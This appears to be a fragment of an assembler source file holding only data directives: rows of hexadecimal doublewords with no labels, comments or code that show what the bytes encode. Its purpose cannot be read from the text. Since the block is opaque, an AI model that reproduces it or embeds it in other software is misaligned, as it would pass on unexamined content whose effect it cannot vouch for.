0FF982106h, 2C25ADBh, 2422F85h dd 3D511FFh, 0BA39FF17h, 0D0C5FF20h, 39FF0204h, 35820BAh dd 0FF982106h, 0FC25ADAh, 42D69002h, 3169002h, 39FF0204h dd 85FF20BAh, 0FF988FD0h, 0FC25ADAh, 3A69FF02h, 0FF170370h dd 0FF20BA39h, 0FF56D085h, 9820BA39h, 0BA39FF17h, 0FF120420h dd 420BA39h, 0FF121002h, 4275A39h, 21FF0C5Bh, 0E111FF81h dd 0B201204h, 0DE480906h, 9939FF20h, 0FF3584FFh, 1D3B38h dd 8E020400h, 1318FF20h, 3100498h, 70982106h, 482A2106h dd 5431FF38h, 0B9C4FFh dd 3EE5C4FFh, 0BAD1F6FFh, 0CA6024Fh, 6EFF0C01h, 0A5D3FF13h dd 0C4FF0003h, 0F6FF3EE5h, 381BAD1h, 32982106h, 0C1716DCh dd 1E4F3E18h, 8F074Fh, 0FFA138FFh, 3D5D0h, 5014F14h, 192739FFh dd 6090603h, 1D331FFh, 2040360h, 6F1CEFFh, 1D531FFh, 0C011A60h dd 26D511FFh, 0D45Bh, 0D41E06h, 0BA084B00h, 3D3DEFFh, 0D40104h dd 0F4C0000h, 771FE0FFh, 0B9C4FFh, 3EE5C4FFh, 0BAD1F6FFh dd 42916EBh, 0D401h, 5014C00h, 9BB39FFh, 0FF020403h, 0FF06F1CEh dd 0E501D031h, 1703E232h, 0AEFF3B0Ch, 3B0C561Bh, 0FF0C0115h dd 5B26D511h, 60000D4h, 0D41Eh, 0FFBA084Bh, 0D401BFh, 0FF4C0000h dd 0FF16E139h, 0C4FF9188h, 0C4FF00B9h, 0F6FF3EE5h, 1602BAD1h dd 0D4010429h, 4C000000h, 39FF0501h, 3EEFF18h, 5010906h dd 167339FFh, 0FF9188FFh, 0FF00B9C4h, 0FF3EE5C4h, 0BAD1F6h dd 7A2A1303h, 304FF32h, 0B0FF1B15h, 495CDBFFh, 19D16E00h dd 881D3FFh, 1166FF7Ah, 0DDFF1381h, 0B00495Ch, 0FF9188FFh dd 0FF00B9C4h, 0FF3EE5C4h, 81BAD1F6h, 0FF010A03h, 2A01h dd 21F4C26h, 6F1CEFFh, 2CC131FFh, 0F411FF33h, 7D5639FFh dd 0DEFF0000h, 81D3FF66h, 29FF5B08h, 600002Ah, 2A29FF1Eh dd 0FF4B0000h, 29FF5A89h, 2Ah, 0FE03FF4Ch, 9188FF16h, 0FF000DDFh dd 0FF3EE5C4h, 0BE2ED1F6h, 2A29FF01h, 4C000000h, 39FF2A07h dd 1B0E1672h, 5CC0FFh, 0CEFF2600h, 0FF0E16FEh, 1D0838h dd 1318FF00h, 21064723h, 0D8FF1BA7h, 0FF5A072Eh, 0FECEFFAFh dd 8C88FF16h, 25088110h, 285C4FFh, 0F621B0Ch, 0C072508h dd 86AEC08h, 0C4FF0029h, 0DA100285h, 7002903h, 6AEC0810h dd 7002908h, 6AEC0810h, 7002908h, 6AEC0810h, 7002908h dd 6AEC0810h, 7002908h, 6AEC0810h, 7002908h, 6AEC0810h dd 7002908h, 6AEC0810h, 7002908h, 6AEC0810h, 7002908h dd 6AEC0810h, 0FF002908h, 0AD0285C4h, 0D5E1B83h, 0FF340700h dd 6A6489C4h, 7002908h, 89C4FF34h, 29086A19h, 0FF340700h dd 6A3C89C4h, 7002908h, 89C4FF34h, 29086A3Dh, 85C4FF00h dd 7250502h, 6AEC0805h, 7002908h, 6AEC0805h, 7002908h dd 6AEC0805h, 85FF1308h, 1B03080Eh, 0FFA306DFh, 3080E89h dd 52D8FF1Bh, 80E8DFFh, 42CB0703h, 0C6086A11h, 6A11D719h dd 6BD1FF08h, 6A11D719h, 6CD1FF08h, 0C4FF0029h, 21FF0285h dd 621BAC52h, 7250827h, 89C4FFAFh, 270E81FFh, 0C4FF2508h dd 39FF0285h, 0D139FF52h, 56FF621Bh, 0FF072508h, 0C4FF2E39h dd 86A5E89h, 5418D1FFh, 1139FF03h, 0D16FCFFh, 617F0700h dd 60B0000h, 0FC39FF09h, 0FF16FCFFh, 61BB88h, 0E0B00h dd 5E1E0600h, 4B000061h, 39FF0000h, 0D188FFC8h, 6122161Fh dd 6E0000h, 0FF01094Ch, 3F8Bh, 309060Bh, 615E1400h, 39FF0000h dd 613D4EBBh, 1040000h, 1A3F81FFh, 52D8FF07h, 613Dh, 613D134Bh dd 7000000h, 0B912FF40h, 0D1FF010Ah, 26000021h, 0C239FF00h dd 13D1C4FFh, 0FF58DDFFh, 6003C09h, 3C09FF1Eh, 0BD4800h dd 0ADF1B00h, 21D1FF01h, 0FF0B0000h, 0C1FF5288h, 0FF0000A7h dd 0A4035D39h, 112DBFFFh, 0FF5D0873h, 10AB9C4h, 0C639FF41h dd 0FF0E1671h, 3FD1h, 38010A28h, 0B000061h, 0BD0906h, 22081F45h dd 0E0B00AFh, 0FF280000h, 162B2239h, 0AF220Eh, 0E0Bh, 9188FF0Bh dd 2600AFh, 0FFDD39FFh, 5913D1C5h, 613D14h, 1D39FF00h dd 7F38FFh, 5E140000h, 0FF000061h, 1F9B3839h, 39FF0000h dd 471A1F54h, 0FF8080FFh, 72072EDCh, 2FA503BEh, 0DDFF0242h dd 290876C9h, 2BE939FFh, 7054E16h, 70B0FF40h, 5560700h dd 0FFFA39FFh, 75913EBh, 39FF0531h, 0CECEFFFBh, 8E1B0E03h dd 4302D93h, 6705D16h, 422F2E52h, 0D029FF02h, 0FF072503h dd 700B9DDh, 3A050734h, 0D184FF71h, 18C5FF13h, 0D0FF0554h dd 66DEFFA7h, 5051204h, 31020F19h, 0FF99DDFFh, 21060B3Ah dd 0DFFF1B9Bh, 176D935Ah, 39FF0505h, 51204C1h, 10D2FF03h dd 0FF05020Fh, 1204C139h, 1FF0505h, 0DDFF5418h, 0FF1B0558h dd 521069Fh, 26C0521h, 5BF5D9FFh, 0E0315E9h, 315819FFh dd 5B51D9FFh, 0E0315E9h, 0DAD9FF12h, 315819FFh, 0F4D9FFh dd 20F2500h, 0E0315E9h, 0DAD9FF12h, 315819FFh, 0F4D9FFh dd 0E95B0000h, 120E0315h, 0FFDAD9FFh, 0FF315819h, 75418D9h dd 39FF0DE9h, 0FF13899Ah, 3D1A8CDDh, 7250876h, 0FBF6FF5Ah dd 11090616h, 0D89D0FFh, 0FF5A0700h, 616FBDDh, 0D0FF1109h dd 7000D89h, 0F820FF5Ah, 11090616h, 0D89D0FFh, 0FF5A0700h dd 616E407h, 0D0FF1109h, 128CFF89h, 8080FF47h, 502042Fh dd 0FF052106h, 24A02E0h, 0E4FB7805h, 83AD4E16h, 50D8FF1Bh dd 77030034h, 0FF152F40h, 9D35113Ah, 0B100647h, 0BBB88FFh dd 7AC210Eh, 89D0FF11h, 46D1DAFFh, 0C1FF1345h, 0FF070058h dd 60C3921h, 0C210C21h, 422F2E52h, 0D039FF02h, 39FF1703h dd 0FF071058h, 0C072ED8h, 0FF86541Fh, 0FF0DBC39h, 0D188FF57h dd 3A086C1Fh, 7088FF3Bh, 0FF100486h, 53EBBD0h, 2ED8FF1Bh dd 51F0507h, 1006479Dh, 78010000h, 10020Ah, 0BB88FF00h dd 0C210E0Bh, 0B984FF85h, 0FF134515h, 70058C1h, 0FF1B1F0Ch dd 1B3452DEh, 216D8FFh, 3D039FFh, 17521A2Eh, 55839FFh dd 2ED8FF1Bh, 1FFF9207h, 1FD1DEFFh, 20A0D54h, 0FF0E1620h dd 10FF2239h, 8461FD1h, 9060B22h, 1B832106h, 3452DEFFh dd 16D8FF1Bh, 0D031FF02h, 521A2E03h, 5831FF17h, 0D8FF1B05h dd 8292072Eh, 1005AA03h, 0DEFF9B21h, 5020F45h, 5C07000Dh dd 3EC5C4FFh, 5C80FF47h, 5C07000Dh, 3EC5C4FFh, 9D052106h dd 42104447h, 6901h, 22033000h, 28000000h, 91C4FF00h, 851A0734h dd 2915E4h, 69145907h, 0A000000h, 5D263002h, 0D2FF851Ah dd 104447BBh, 690142h, 3300000h, 22h, 0C4FF0028h, 7003EC1h dd 15E4851Ah, 59070029h, 6914h, 30020A00h, 851A5D26h, 47BBD2FFh dd 1421044h, 22033Bh, 280000h, 3491C4FFh, 0FF851A07h, 20AFFCEh dd 69010F30h, 15000000h, 690104h, 19D10000h, 881D3FFh dd 1166FF7Ah, 0DDFF1381h, 104447BBh, 33B0142h, 22h, 0C4FF0028h dd 7003EC1h, 0CEFF851Ah, 30020AFFh, 69010Fh, 4150000h dd 6901h, 0FF19D100h, 7A0881D3h, 811166FFh, 0BBDDFF13h dd 0A104447h, 2A29FF01h, 0FF6F0000h, 5D080E85h, 17034401h dd 2A29FFh, 0C010F00h, 821B0C1Eh, 0FFBBD3FFh, 0A03D5D0h dd 1040501h, 49180Ch, 86A1800h, 104C95Dh, 10A3B0Ch, 72070005h dd 40E1639h, 23190C01h, 0DC0C01h, 2A29FF14h, 0FF000000h dd 54C48DC4h, 58600135h, 242D603h, 9020409h, 3C1D9FFh dd 0F8F39FFh, 2F075102h, 0A738FF35h, 51025102h, 0FF024603h dd 72138109h, 0FF2DC1FFh, 191DF511h, 41020F19h, 1631FF02h dd 0D409FF02h, 15282203h, 0FF5D086Ah, 1F512EC1h, 1FF1716h dd 2050558h, 1703DA05h, 2050205h, 0C9C4FF05h, 40074F3Eh dd 55A1BFFh, 5ADAFF1Bh, 6D401B05h, 0DDFF0204h, 54D3FF52h dd 0FF0242E3h, 4603D019h, 17084F6Fh, 7050205h, 13084Fh dd 2EDFFF07h, 1F4F07h, 29FF2106h, 15CB07D0h, 0B9C4FF00h dd 0DFFF0734h dd 1F4F072Eh, 51020400h, 5085FF51h, 12510204h, 7035151h dd 0C6FF1140h, 700002Eh, 0FF2E01FFh, 51028DC4h, 72EDCFFh dd 2041F51h, 7001051h, 1D6472h, 5210E00h, 5A8FFF85h, 0D0FF4A05h dd 7703F9ECh, 72EDCFFh, 2041F05h, 81D3FF05h, 6ED511FFh dd 0FF1A7F12h, 6165239h, 5170409h, 50700A6h, 0FF03541Fh dd 130387D1h, 1Bh, 1B882Eh, 0F190000h, 1B01h, 31020400h dd 1Bh, 0FF171655h, 31AD4D9h, 5C12046Eh, 611A441Bh, 0E5011638h dd 0D139FF32h, 390603h, 882E0000h, 1900006Ch, 6C010Fh dd 31020400h, 5500006Ch, 0F8h, 1B311204h, 4000000h, 0FF443107h dd 5503D9D9h, 315A87FFh, 0B93D031Ah, 7500h, 31120400h dd 400006Ch, 0FFEE3107h, 0F03D9DDh, 0D9FF447Eh, 10403D9h dd 1900006Ch, 6C010Fh, 6E3AFF00h, 31A3102h, 0A612043Dh dd 3AFF031Ah, 0B938FFD4h, 15411FFh, 2E84FFh, 5020A00h dd 6E000000h, 1B5C1204h, 0C4FF1A44h, 1E0D012Dh, 0FF11070Dh dd 2F33h, 0FF0D0104h, 0FFBA5857h, 2F03h, 1A8F0204h, 1B1303h dd 882E0000h, 1Bh, 1B010F19h, 4000000h, 1B3102h, 3550000h dd 8213h, 82882Eh, 10F1900h, 4000082h, 823102h, 0F85500h dd 12040000h, 1B31h, 31070400h, 0D9D9FF44h, 40405503h dd 2046EFFh, 8231h, 69FF4B55h, 0F858D5h, 12040000h, 1B31h dd 31070400h, 447E1AEEh, 3D9D9FFh, 1A310204h, 12041903h dd 35031AA6h, 0FF01E501h, 2E8Dh, 0E838FFh, 2040000h, 0FFE2DDFFh dd 37B16803h, 0A05820FFh, 0E2DDFF02h, 0B16803FFh, 0B820FF37h dd 0A001185Bh, 0D9FF0215h, 6E031AD4h, 3EFDC4FFh, 73B1E3Bh dd 38FF008Fh, 73B1E96h, 38FF352Fh, 1B1316E6h, 2E000000h dd 1B88h, 10F1900h, 1Bh, 1B310204h, 55000000h, 0D9FF1716h dd 6E031AD4h, 1B5C1204h, 0BCFF1A44h, 34FF32E5h, 390603h dd 882E0000h, 2E89FFh, 10F1900h, 2E89FFh, 31020400h, 2E89FFh dd 0F85500h, 12040000h, 1B31h, 31070400h, 0D9D9FF44h, 87FF5503h dd 31A315Ah, 7500B93Dh, 4000000h, 89FF3112h, 400002Eh dd 0FFEE3107h, 0F03D9DDh, 0D9FF447Eh, 10403D9h, 2E89FFh dd 10F1900h, 2E89FFh, 6E3AFF00h, 31A3102h, 0A612043Dh dd 3AFF031Ah, 0B938FFD4h, 15411FFh, 2E84FFh, 5020A00h dd 6E000000h, 1B5C1204h, 0C4FF1A44h, 8DFF012Dh, 600002Eh dd 2E8DFF1Eh, 7000000h, 2F33FF11h, 1040000h, 2E8DFFh, 0D93AFF00h dd 438FFh, 19FF0600h, 188FFF2Eh, 5020554h, 5310204h, 0D9FFA306h dd 1B03080Eh, 8F5ADBFFh, 4DF406Ch, 441B0502h, 3AFFA21Ah dd 8F02041Bh, 725031Ah, 0CBEEFF5Ah, 1888FF16h, 0FF58A754h dd 0DB4A7D1h, 0CBCA39FFh, 7054E16h, 4DF851Ah, 5310502h dd 10050204h, 0B71A5612h, 5703705Eh, 0FECEFF85h, 1A560204h dd 44A65612h, 41A5656h, 58DDFF12h, 5656021Ah, 0EA03FF1Ah dd 0CFDED0FFh, 0FF5A13FFh, 0FF47128Ch, 2F2E5280h, 4050204h dd 0FF055602h, 3C0502B2h, 0EADDFF44h, 0A4D9FF02h, 56880512h dd 899D9FFh, 21A5631h, 5020405h, 0C1FF443Ch, 5CDDFF81h dd 1381DDFFh, 41A5656h, 58DDFF12h, 9D04401Ah, 8F100647h dd 8F0204A7h, 3D9DDFFh, 4D68313h, 3102B502h, 61A3DF3h dd 13035FFFh, 4100210h, 3103102h, 31120475h, 0FF44315Fh dd 0D1FFD9C1h, 0FFEE3CEAh, 204A4DDh, 7031031h, 0DD69FFB9h dd 1204F858h, 0EE315F31h, 4458DDFFh, 17D9C1FFh, 0D9DDFF31h dd 12041903h, 0D9DDFFA6h, 0E5013503h, 0FC01h, 8D38FF00h dd 0C02D752h, 21FF020Ah, 0D4D9FF81h, 3D9DDFFh, 1B055B6Fh dd 552DEFFh, 0D039FF02h, 521A2E03h, 8F39FF17h, 0A6190410h dd 2040505h, 2500531h, 0FFD4D9FFh, 6E03D9DDh, 72441B00h dd 16CF02FFh, 4196001h, 531A612h, 0DDFF443Ch, 6BFF1A3Ah dd 0FF479DE2h, 2F2E5280h, 4050204h, 0E3053102h, 1B050204h dd 0D8FF7244h, 5AA03D5h, 3AFF9B6Ch, 8F020400h, 8F02041Ah dd 8F0204A7h, 3D9DDFFh, 5418D1FFh, 7339FFh, 5A07B600h dd 128CFF0Dh, 22100647h, 609060Bh, 1D331FFh, 0D1C6FF60h dd 5AC6FF2Eh, 0D031FF06h, 3586001h, 6D53AFFh, 0C1FF1752h dd 0E5013552h, 9010FFCFh, 8109FF02h, 7590700h, 85C4FF5Ch dd 1703ED60h, 55809FFh, 1B050205h, 18BEFFh, 3E180018h dd 0FF400751h, 39FF151Fh, 0E00006Dh, 180018h, 3425C4FFh dd 3E38FD07h, 4BD1F6FFh, 28DC4FFh, 0FF1F5151h, 0C4FF2E09h dd 0A754C48Dh, 48C5FF17h, 3D239FFh, 5828FF2Ch, 0C5FF024Fh dd 0D239FF48h, 28FF2C03h, 1FF5BB8h, 15000026h, 6164102h dd 31FF0609h, 0FF6001D3h, 0FF2ED1C6h, 0FF065AC6h, 6001D031h dd 3AFF0358h, 175206D5h, 3552C1FFh, 0FFCFE501h, 51019010h dd 41020Ah, 0C4FF5C07h, 0D2FF6085h, 10403D3h, 5050251h dd 16DA0502h, 5020517h, 0C4FF0502h, 1E093EC9h, 9400709h dd 79AAFF09h, 180E00h, 2C18h, 25C4FF00h, 2619FF01h, 1E060000h dd 2619FFh, 0FF3E4800h, 48D1F6h, 2C390600h, 0FF130000h dd 2611h, 11FF882Eh, 19000026h, 11FF010Fh, 4000026h, 2611FF01h dd 550000h, 2C75h, 41013204h, 40400901h, 5500004Fh, 44710700h dd 2609FF1Eh, 3F90000h, 2C75h, 9C090A04h, 0FF014101h, 2609h dd 0FF010F19h, 2609h, 780135h, 0FF156F00h, 0B73EFDC4h dd 95E209h, 0Eh, 18DC4FFh, 603C809h, 2C39h, 2C90882Eh dd 0F190000h, 2C9001h, 90010400h, 5500002Ch, 2C7500h, 1320400h dd 0FF090141h, 0FF010496h, 2609h, 7500B93Dh, 400002Ch dd 2C900Ah, 0A9C0400h, 2631FFh, 19C0F00h, 2C900141h, 0F190000h dd 2C9001h, 193AFF00h, 9FF0104h, 3D000026h, 9FF010Fh, 0FF000026h dd 3AFFD33Ah, 5411FF56h, 1B01h, 9140000h, 0A403EBFFh, 512FC7FFh dd 0C48DC4FFh, 0FF5C0754h, 0B13ED1C4h, 25089A25h, 3B15A07h dd 78C88FFh, 0E1C4FF5Ch, 80FF473Eh, 75907BBh, 0DDC4FF5Ch dd 0FF54053Eh, 0C1FFD3C1h, 0E5C4FFB9h, 3AFF003Eh, 99C1FF9Ah dd 0C4FF5C07h, 1B050299h, 5210670h, 0FF050502h, 0C4FFB9C1h dd 0FF003EE5h, 204DD3Ah, 20502BCh, 5A071005h, 1A1F03E3h dd 2EC0FF85h, 592EC1FFh, 9755A07h, 23A1004h, 6D0C6FFh dd 2C39h, 3E29FF13h, 10130000h, 4DC3AFFh, 10F1001h, 1100110h dd 5AC7FF05h, 0FF013204h, 29D1h, 0D33AFF55h, 41E3AFFh dd 5011001h, 51E44E4h, 73F858h, 0A6120400h, 29D1FF01h dd 1040000h, 5010F05h, 0F5411FFh, 733906h, 0FF882E00h dd 3E39h, 0FF010F19h, 3E39h, 39FF0104h, 5500003Eh, 737500h dd 1320400h, 0D9FF0205h, 0FF0104A4h, 3E39h, 0E4070055h dd 29FF1E44h, 0F900003Eh, 737503h, 0A6120400h, 0FF010501h dd 3E29h, 0FF010F19h, 3E29h, 0FF780135h, 37B16803h, 0FF5820FFh dd 3E21h, 0DDFF0204h, 6803FFE2h, 20FF37B1h, 10C5BB8h, 3E21FFh dd 2C152800h, 0FF6F0000h, 1A1BD029h, 10AD285h, 5A070005h dd 16C989FFh, 3AFF6001h, 479D35D3h, 0D8969FFh, 107F0700h dd 0D0C4FF5Eh, 5A075913h, 0FF150D55h, 273EC9C4h, 6000073h dd 73271Eh, 62070000h, 308634Fh, 2F1D6557h, 0FF014203h dd 15033D11h, 0BBD3FF10h, 73h, 3ED5C4FFh, 4F620700h, 655703BDh dd 3D612FFh, 7315h, 0FF1D39FFh, 0FF02BB88h, 0FF138121h dd 7322B7DDh, 890B0000h, 0B7D1FF08h, 0FF007501h, 0C0295C4h dd 0AEEFF07h, 0FF007501h, 903EEDC4h, 62109010h, 0FF35DE4Fh dd 90019038h, 5B045610h, 4F62070Ch, 570319B2h, 32F2A65h dd 73150Dh, 9060B00h, 0F000073h, 7B010901h, 20F0000h, 76000010h dd 0FFF5D1FFh, 0A11DD21h, 5AD0FF09h, 0F5D1FF09h, 19DDDEFFh dd 0FF090A04h, 19095AD0h, 4C0D8FFh, 0C120901h, 12040901h dd 39B723FFh, 19FF8810h, 19FF013Dh, 3D19FF3Dh, 0A8FFh dd 35CDEFFh, 73440104h, 10F0000h, 600007Bh, 7B1Eh, 10A5D0FFh dd 3EBFF32h, 7B1E06h, 0DED2FF00h, 0BA58D232h, 15291A07h dd 0D0E03h, 59131007h, 0F81F1007h, 0E031503h, 4 dup(0E03150Dh) dd 1007000Dh, 8019FF1Fh, 72313h, 150D0000h, 4 dup(150D0E03h) dd 0D0E03h, 0FF1F1007h, 23138019h, 0BEFFh, 0E031503h, 1007000Dh dd 10075913h, 0EE3AF81Fh, 6F1F7BFFh, 0FF3B150Eh, 0FF6DDE88h dd 39FF8111h, 0DE88FFB8h, 8111FF6Dh, 7250876h, 19FF1F10h dd 7E231380h, 3EBFF15h, 0FF2B150Eh, 0E6F1F7Bh, 7BDCFF15h dd 1F106F1Fh, 138019FFh, 5853FF23h, 780AFF46h, 1068101Fh dd 15B9F6FFh, 0D0E03h, 0FF131007h, 58E338DDh, 1106813h dd 15291663h, 0D0E03h, 59131007h, 0F81F1007h, 0E031503h dd 4 dup(0E03150Dh), 1007000Dh, 8019FF1Fh, 72313h, 150D0000h dd 4 dup(150D0E03h), 0D0E03h, 0FF1F1007h, 23138019h, 3D139FFh dd 0E03150Dh, 1007000Dh, 10075913h, 353AF81Fh, 38150E03h dd 0E6F1F7Bh, 1F7B7015h, 0FF1F106Fh, 23138019h, 6FF157Eh dd 6F1F76FFh, 0FFA2150Eh, 0FF6DDE88h, 39FF8111h, 150E037Bh dd 10072508h, 8019FF1Fh, 0F3FF2313h, 0E03150Dh, 1007000Dh dd 10075913h, 600001Fh, 6B881039h, 106B0110h, 9F106Bh dd 0BB7500h, 0D1FF7600h, 5A31FF01h, 27000010h, 0FF3AD0FFh dd 9F5A1Ah, 11FF0600h, 91726CDh, 0D3FF080Fh, 76FF1939h dd 917087Dh, 0FF1A080Fh, 11FF33BFh, 0D411FFF5h, 9170330h dd 0BBD9FF08h, 0C4FF2508h, 7D39FF95h, 0E0000h, 56080F00h dd 600009Fh, 26C511FFh, 0F039FF00h, 2E32FFh, 0D100000Eh dd 0DEDBFF08h, 0FF9466FFh, 0DEFF5423h, 771BFF39h, 80F0917h dd 0FFB9C7FFh, 0A661F77h, 8E080F09h, 600009Fh, 26D911FFh dd 80F0917h, 0FF6F152Ah, 28CD11h, 732714h, 0C4FF0000h dd 69FF0181h, 2307003Dh, 0A04F14h, 732714h, 7F39FF00h dd 85570000h, 0B9h, 4F17089Ah, 0D43AFF3Bh, 5338FFh, 27140000h dd 0FF000073h, 1400AE39h, 0C4B97C4Fh, 2106D8EFh, 0DDFF1B9Bh dd 6709852h, 11072321h, 3D0D2FFh, 0B39FF0Dh, 1FD0DDFFh dd 3BFF0521h, 70003D1h, 39FF0531h, 250E030Ch, 7D055607h dd 0BBDDFF13h, 7D050204h, 0F6075913h, 16DD08FFh, 305AAh dd 39FF2A07h, 0D0DDFF16h, 60FF441Fh, 23072558h, 0D0DDFF14h dd 5814441Fh, 82030517h, 0DFFF2103h, 0F03055Ah, 3A29FF02h dd 0FF02422Fh, 502B129h, 5860FF27h, 6C030517h, 55ADFFFh dd 0C020F03h, 502040Ch, 5860FF27h, 0FF0D1529h, 4099339h dd 0DCB0710h, 3A39FF15h, 13D0DAFFh, 17D9FF56h, 0FF16A130h dd 3AFFD0D1h, 7000DC2h, 685A0759h, 13D0DAFFh, 0D8CDDFFh dd 1F5439FFh, 85C4FF25h, 40070502h, 7000DFCh, 86EC0805h dd 5072508h, 886EC08h, 8050725h, 250886ECh, 0EC080507h dd 0A3068686h, 0CEFF1B18h, 1BA306C8h, 3BA30686h, 118C2F1Bh dd 10444786h, 3A8687FFh, 6DEDC7FFh, 0DDF8611h, 64DF39FFh dd 80655703h, 130C1358h, 6F39FF20h, 7104E16h, 0D300FF11h dd 20020403h, 1007205Bh, 1021061Fh, 0A0378FFh, 7000502h dd 0FF5D0810h, 10072EDFh, 4005171Fh, 5029F40h, 29FF5F02h dd 0D9FF13B8h, 0C211F81h, 171F1007h, 120C310Ch, 2F2E520Ch dd 21FF0204h, 21FF0291h, 29FF02EAh, 1503A2h, 9061618h dd 0FF0C17B3h, 7042184h, 0D0C5FF10h, 0FF02040Dh, 0C17B821h dd 0DDD0FF3Ch, 1F100E0Bh, 0FF0204D6h, 0FF029121h, 0C102EA21h dd 17162706h, 17B821FFh, 315500Ch, 45C4FF00h, 1FF5B08h dd 600002Fh, 2F01FF1Eh, 0FF4B0000h, 5206D131h, 1D6F22h dd 0C4FF0000h, 78A1h, 2E08E000h, 1D150Ah, 1FF2600h, 2Fh dd 2A9C4FFh, 17B821FFh, 0FF09CF0Ch, 21AD085h, 17B821FFh dd 19FFCF0Ch, 0F00002Fh, 0FFD085FFh, 86A71D9h, 571951C6h dd 1D5C11FFh, 22FF0000h, 0A0DC87Ah, 14005101h, 1FF1409h dd 2Fh, 2A5C4FFh, 7A03DA41h, 6051012Dh, 51010A03h, 21FF0204h dd 3C0C17B8h, 0BDDD0FFh, 1D0906h, 0FF4E0B00h, 42F3A39h dd 9939FF02h, 0D139FF21h, 0FF21D31Bh, 40FCD039h, 204FCFFh dd 2DDE39FFh, 1D1132h, 29FF0600h, 0B821FF8Dh, 84FF0C17h dd 0FF7E0F39h, 2E16C1D0h, 14002D40h, 2F01FFh, 8E00000h dd 52BAh, 0FC39FF0Dh, 860C02B9h, 0FF855703h, 0FF733AD9h dd 3AFF3C3Ah, 8E38FF3Ah, 2FF1004h, 88FF16D6h, 0D108Ch dd 1D7F07h, 9060B00h, 167939FFh, 0DC3988FFh, 2F85FF05h dd 1E060000h, 2F85FFh, 0AC327A00h, 0FF010403h, 2F85h, 3F014C00h dd 4C000000h, 1D220823h, 60B0000h, 1D09h, 81FF882Eh, 81FF012Fh dd 2F85FF2Fh, 0A040000h, 0FF2F81FFh, 0D035CDEh, 17089A00h dd 0FF2F81FFh, 403D0C5h, 2F85FF0Ah, 0A8040000h, 0D0FF3C1Ah dd 17B36EDDh, 2F85FFh, 1AA80400h, 0D9D0FF1Bh, 81FF0104h dd 0D0C5FF2Fh, 0FF0A0403h, 2F85h, 1B1AA804h, 4D5D0FFh dd 2F81FF01h, 3D0C5FFh, 85FF0A04h, 400002Fh, 0D501AA8h dd 8D010Ah, 9060B00h, 600001Dh, 0D43AFF3Bh, 149838FFh dd 2F85FFh, 7139FF00h, 3F14B616h, 39FF0000h, 0C457037Ah dd 3A16D8EFh, 4E16A8FFh, 0FF400705h, 0DFFCEh, 0FF053107h dd 0DDFFB439h, 0FF0D15B9h, 6037139h, 21100409h, 6701B9Bh dd 0D1C5FF21h, 16C91107h, 1B720725h, 344E1670h, 39C1FF07h dd 0C4E03FBh, 16D78DFFh, 0FF16054Eh, 1630A7D1h, 1F110517h dd 0BB29FF07h, 845C4FFh, 5239FF5Bh, 7D139FFh, 72EDFFFh dd 10131F20h, 0FF072026h, 0C4FF2E39h, 0FF5B0849h, 0DAAC5221h dd 2101303h, 0F1CEFF20h, 0D131FF13h, 0FF0204D6h, 0FF029131h dd 1002EA31h, 0FF132D20h, 0D2FFA5DBh, 0DC29FF94h, 204B41Bh dd 0FF132D20h, 231BCECEh, 132D2002h, 2DA5C7FFh, 0AEC1FF13h dd 1731FF02h, 0FFFFD1FFh, 2007713Ah, 0BEFFDFh, 0E01F2007h dd 18D1FF08h, 79B2154h, 700A340h, 1F113C72h, 1839C4FFh dd 5070005h, 45C4FF00h, 29FF5B08h, 0C4FF00BBh, 7250871h dd 0FF08E034h, 55418D1h, 21060502h, 15ABFF05h, 5120E03h dd 0D9FF0204h, 5206A751h, 2042F2Eh, 5210605h, 315ABFFh dd 405120Eh, 51DDFF02h, 2051370h, 5210605h, 315ABFFh, 405120Eh dd 51C1FF02h, 5418D1FFh, 79B131Ah, 0D33AFF11h, 0C7020403h dd 0FF1A192Dh, 46588D29h, 72072508h, 0D0D9FFB4h, 54DDFF13h dd 116DDFFh, 2C39FFh dd 4DEF703h, 72072508h, 16D9D9FFh, 0DDFF0906h, 39FF0116h dd 0F716002Ch, 250815A8h, 2FEB7207h, 0FF090616h, 0FF0116DDh dd 58002C39h, 0BBF6FFF7h, 72072508h, 0DDFF0909h, 39FF0116h dd 0F7B1002Ch, 17581211h, 1152DDFFh, 72075902h, 16D28AFFh dd 0FF00F04Eh, 104DC3Ah, 0F3D00F0h, 600F001h, 4B00F01Eh dd 0F001BC17h, 0FF065300h, 0F08D29h, 0DDFF1204h, 81D0FF5Ch dd 0A3D1FF1Fh, 0F0010403h, 0FF120400h, 0D0FF5CDDh, 0B000081h dd 0F01E440Eh, 3E03F900h, 0F0140003h, 0FF070000h, 495CDDh dd 1C09060Bh, 0CA743000h, 6F220000h, 2600h, 18D9C4FFh dd 2A0111Bh, 7009883h, 0FF53FF92h, 1FD0D3h, 0FF020A00h dd 8129h, 105020Ah, 0C07000Ch, 0FF015D08h, 1316C8CEh, 14052105h dd 25086C10h, 0FCFF5A07h, 52DDFFA0h, 4C100105h, 255A8DFFh dd 0DEFF5A07h, 52DDFFBDh, 0FF290305h, 0D0FF2E39h, 1FD0h dd 31FF0104h, 3000002Ah, 13F1CEFFh, 0DC3AFF20h, 0F200104h dd 20012001h, 0A229FF02h, 0BB001Ch, 45C300h, 9060B00h dd 39FF0049h, 88FF1648h, 0ECD2FF52h, 0D1FF1630h, 0D0049A3h dd 0FF5A0700h, 0FF56DEABh, 2A31h, 0F1CEFF30h, 26004922h dd 5C39FF00h, 1Fh, 2A31FF14h, 0D0000h, 0DEB25A07h, 31FF1459h dd 0FF00002Ah, 14009039h, 0B616D310h, 0FF080C07h, 585418D1h dd 0C010A29h, 81C4FF00h, 0FF0C0120h, 0D0FFF039h, 22081FD0h dd 0B00001Dh, 0B00000Eh, 1D97h, 3D39FF28h, 26001C97h, 0C010A29h dd 4E3539FFh, 6000099h, 991Eh, 1D48h, 5C31FF15h, 166239FFh dd 1D0906h, 7A39FF00h, 1C9716h, 1888FF0Bh, 0A295854h, 0FF000C01h dd 12081C4h, 8C39FF0Ch, 5010A0Dh, 0FFC539FFh, 1D1FD0D1h dd 970B0000h, 2800001Dh, 0FFF939FFh, 81FD0D1h, 0B001C22h dd 600000Eh, 991Eh, 1D48h, 0FFDA39FFh, 0FF1FD0D1h, 54C4E2D3h dd 10A2916h, 0C4FF0020h, 5C39FF91h, 0FF20010Ah, 3001239h dd 0FF46030Eh, 10AB9D0h, 0C4FF0020h, 31FF0195h, 600002Fh dd 2F31FF1Eh, 1B000000h, 0FF020A3Eh, 14008129h, 2F31FFh dd 0C4FF0000h, 31FF1499h, 2Fh, 34608E0h, 0B9D3FF15h, 0FF5C0700h dd 0FF0195C4h, 2F31h, 31FF1E06h, 2Fh, 20A381Bh, 0A8121FFh dd 8139FF02h, 0FF000000h, 0FF149DC4h, 